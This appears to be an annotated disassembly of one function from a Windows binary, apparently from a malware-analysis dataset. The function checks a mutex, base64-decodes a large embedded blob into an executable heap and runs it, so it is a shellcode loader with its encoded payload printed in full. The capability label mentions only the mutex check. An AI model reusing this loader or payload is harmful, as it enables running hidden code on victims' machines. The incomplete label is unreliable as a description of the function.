Function at 0x140001a30
Capabilities:
Check mutex on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
movabs r14, 0x8000000000000000
lea rdx, [0x14009c101]
lea rcx, [rsp + 0x50]
mov r8d, 5
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h297887165894eb16
cmp qword [rsp + 0x50], r14
jne 0x140001b4b
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
xor ecx, ecx
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_CreateMutexA
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
je 0x140001b16
lea rdx, str.6MArDQDAKw0AThYj7h5yTua8h4AjNLWMcq_wpGzrB1S3AVakX5ZZrN8AAAAA1OD3LGgdQuNOXIzWmuvV67Hcq4zt7SYGTva3xTlaBy7x_iFVzgqTDmhg1SQTUykbyYL4Iy906Lsut3onM2pGWIQEs5EN1rKlj1nO9XmHKo5GGejrqa2QrRpwSuSBAkJ02bqGNT54mjRDjzwiBHz5lj_E6ttcbOafpIufdxSV3_ibfMzogwkuhY1pTMhive9x1rLHzMeEEau_TsfESXadyyT4WlLye0NRMNmn7MVDdO4IvWj2UlDWvG9nhm8OfgzSliHo1YZNQTGKTiM0eK7tySIOOhFYWyaQA0mueuLSXls_YzwwZtfPeyPGBT6PBq1iMUqTYNw49Jmd98F1vwDBVZ5V3nJKZDqKg8CNE1m8vGDXf6ciL94TvvGfcpCr7Z3qbljazm2Z0eba_H3bkEAbxLOFlL2h4z1H63rXngH1KvG1u2GEYkvcJRGNzuq7Hi7TR37qMwPW4xiXFPZmzNanKmQaihWFSabsIoiYsaKuxZkIRr7TuZ2pJpHQSbMvXWSNXmF4wJeKB3S18kwaFzs9bS4Xbgs0dpMNXpWemunI0oOCsTPe8XtdodU5q6wZF337RgsgQkftw1Ebws0iZgVpaW_eZje5EdEUhlMsSuV7EB9QJePDqpyGjEZVvwa7h2HsBhPKvxl49FobMkpfDSqiaYrQT1GaHHESLjEcAAAAAAAAAAAEAAAADAAAAAAAAALM__fVwpRUDPtUokxToO4dOe0XHi825mEAAFVdf8081DMn7fk3YaDjcyRMqM5CaQXw6erc2Mii_tJ0BVbL8DGjWmphRsfHCcRPh8K354TLp8HogRZMrT6hZRxo1FbmguDJYqZWctZcoL2p94pINz6YQG0DTFbZHjjwQ4PMsq688Hy3QZiLgKwz8uEHrD7067yvJAdzcSO2N4qQOKWAlPlIj9mgbeNa5DRwFDcQtlx4lX6Q3KCo0XGAPTPTTurHwTj02Nf9YLo2YAzLoBn6dS44S4c4DaIwSGr5gljcg61SwhoR8_GUvzK_uU58AJLbFQuzeS7SNN1iFIgNFmtnQe5kpfCD50meobwHOX8xoCOPdHQbV9s08U3bkC7ffB0Ev73zIiEVt9gu9S7lhBo0BpgkDEf9zU1TRRPVQJzICa7fzHeJMZIqVTKjpv5s9i4f9cPpDQgLA7ZIGpLbSSj6cWbq1UZ4N3TnGh3fkKmRj6SgC37RbKzSMjzWs3Txh3Hj_MjSKuvyN_FbfTNX0bEi9ZpVvas5MpveqhbnEDQrp1uRjiK0KJCkBGQxGeyKAzVoH9FXrVigv4B92eMJnkHOvS_QrMXvGIaE5eFwO3nNOcnDnV9LzS5RNkvKw5U7J4Uq7aqhKNIfsF_7kRMOv6lPx6MMbIRyhPJHBX1zR2tGkHKNDd2IlUgvaf10f8lElBjpPHDV2JkRtACgEAJtydDMWjm6DwFrDH9ZrttoCgedSsgM5_UhHzI2dzYgQDhqBse6xpMUrOImA_f5KAoasxAS9f1qBJi4sw1TQvWW2f35SBUWzzK5i3qMBvb82aSu8v3IhZSAgrwq0BNgnP4I8VnpeWc70xUpYxAxLjM72DtyFJwTeQ529fjF5YhTTc3w8nmH6W12lpzqQ6yI7YYSTTUepZozzBQdRMSuWlFi79xvczD1kFpjQ_ExrPehjvD2JePEm53b5e9u45y6_eTleUKSb7on63Cd5rywRpO8GyYt9CEmS1t5zMpxwyVjmXE2mldQa08N1LHkl_VGAmesPHwXLVSTzJnyl9iLh3qsvnml7CFgKIOikOAI10ltN0gOcpEPR78OjgMGvbfQRRWkr1CZk7964cA73Vuh_dr6Z2Jqqv6e4NcFQNoDEVQ6zkP8M1w_HL0QrGmMzsSNsXC7KZiRBMiTQazyUHSMz7ffIUiOddh7p_VCsriCZ0AgSIBWyI0ljpTnZafh92WngCf3MTg_kh43J7XTdntvLE8tJVGfF52gi8K6LE3zALe7cldICiGB81UEwbSBo97Ou4lRClQVtKAWU5GEflt6SLCIfLuBQwnFvADLiJFEIjKREAwDGRF4RZ3PZpYGXAiIMpdE4Do7zZe9PWwN_HUKUYK7Bp4JLvq_y4KhxErLaq_S0_8xksoW5TBGkXnHxBHzWpxJP3MWIKQ7mqxl8yt13l8dCBLufZjzqrYI3jG6epQDjRokqh0uaFkLc7NqlqmG6EWpWgrUf8Nitzd7CvtIk25xJTGPvSxQ_ky81Ha4TsH6BlEKa8O0oVPXob4h5DXzRgctC6zh9xIcRQASrnaAAbPMLaXOHkU4Co2QzjcjUYm7qY2AzdDLKW_n5H02PzyuCR_ii1_lLCCxRINCMaV7O25Z8Vo5bHJU_h3N7kOXHP1oqynK0oD5O3T8csm3NcaZFkdrn0iwBb2P78NYFf65DMbhyY8cmygUZbcA9dorLLPlEQjNdMBzTXlGy2jkkn07SnTr5XmrmqJwqjxKxR6j8dYCzb95tzHlKiXjuSvUpxKXr2dVpHtHjYOcDGDnguHuDYUk6YafBrqj7RCdnlWVQTEO7deLbwAB6aZgHEw4E0_ztyqsNqQr8QsoLcy2QuBxQd8esVJqIQNzyPAxFNtZjS8vscpjDLBbALtITc4vR_azeTlEb6TIOOsySVz96rJUAGXQouuSLgBKhMN7C21fseDjoISbeGAMJsJXjwbiIH1t1y9F10cc2yX7dx1Oh31T9fiJBU8HXBvbXu8r0o2h5iubLVr6b_piOQJl8pl_keUd0JzYo_RzTunpONCbwkA0h8rdIuemn5NNFy48OdPWz_NCRYqtIPdpIzr1j2N2mhNw35kUMQOBJdE3KCJPut0F9gjzSMTWja_gCBPiZ3yFnRDR21CmyYURn7CBWjl9d_n2me5aNfb4MYPdELiFO1QG635hRg_4KG9bKJnZ6Zdv7QrcmhYOCkxjk7xpO_kWU8uhrU5gv5PQ5CdnundTHqXCwMCwUyhJ_30Ci5afVuzZWbhRhlOgwaxJhFX7oJzse6nq3oEHIHT5qkmh07yHyiV5KSQEhrN9ChgR80JnxHZrz2lS7EERlFeb2HadEAFYxJa6J98o9loiHQ_p3P6AyIGE1noJjFHnTISbSa7fMWSpfqnbQLpP8OxKAnwH25T5peQ870z5c_eOrVkXjxB2TYGkH1DJkoSHw8rJtcXj2ij89p4dccM4HGmFMbZFcrOTdUZElEsOKRVWMUxdEKiK3zNEhqW9SsIsdlchH6uR9pR93oVz8Hld7Iuf8pMjq1hr4bP3slEoV1uxSNzqZPNLZ6cuqF159PSc94m8IDrjTG2iqMHFwFNYKhWk4Tg87Tl59Svde2HyDtpHm231uKU_qpGS2YWofXWk24zDLP5bABDvkYQRAmcqRXtIPdJi40N9YqCC3gHDsd5fL1zi1TN3kXIsGw7w5lUroBnRl8QkqhaLvuuvD_x6XkKGYjVUzrkSVGG6kbNXAJCMQ24_VLU6f5N2Rvo6uf4oYBJFknsLhauliRRA9Vo2Pgh6cyNWd8aGFNjazVXpQDr8ZGAtoJP0nCcUev1_WKK7lNZxwFzRSzsZ0DGuA7Wvwxaebk6aXOTSU994h_6WpfMozUzaEAmWOBkNQPwDuj9amncOsx8z_epPvIrNAxgwhWCwA_21nIWMpZn54eSVWvJCNt56iQ49nII0ErY3MsEX1hB5vfrhvcP1JU9H_Nr6JX00icgcyC5aMkeCRmeID14mhuefUratYWnsH9E1RDC3p4DP16YLy2vzXDmG0Insn7nXVwB0pZZH0ifpo6NrrfwhvaT81i0IWkl3WFt6tXY8FBCt9H3aGXyLnkwnXYpAfeQb8MHNaGzXKSQ3CKzYQw4HeNCxnGHJ_oEZYfC9GxvlETa9S4tVU_RyKDtoJpyOseG2OWuIaSPedm_hBZ8S2CtJz0RlCW5J8gWD6bQFyK7BsSyEcdUukhTdNo9MzCXm4QEEcdFxPcuBlM30Veh2yKuFqtulvk3l9VeW
lea rcx, [rsp + 0x30]
mov r8d, 0x121274
mov r9d, 1
call sym.base64::decode::decode_config::h30f44ae7200b6230
mov rbx, qword [rsp + 0x30]
cmp rbx, r14
je 0x140001b8a
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_HeapCreate
mov rcx, rax
mov edx, 8
mov r8, r15
call fcn.14009853c
mov r12, rax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x140001b00
mov rcx, r12
mov rdx, r14
mov r8, r15
call sub.msvcrt.dll_memmove
call r12
test rbx, rbx
je 0x140001b16
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
mov byte [rsi], 0
test rdi, rdi
je 0x140001b3c
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp sym.__rust_dealloc
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rax, [0x14009c128]
mov qword [rsp + 0x20], rax
lea rcx, [0x14009c106]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h0c6a5c2bed0f4b0a
lea r8, [rsp + 0x30]
mov edx, 0x13
call dbg.unwrap_failed
jmp 0x140001bbd
movups xmm0, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x50], xmm0
lea rax, [0x1401bd3d0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401bd3b4]
lea r9, sym.core::ptr::drop_in_place_usize_::hdd70fda63af9655f
lea r8, [rsp + 0x50]
mov edx, 0x15
call dbg.unwrap_failed
ud2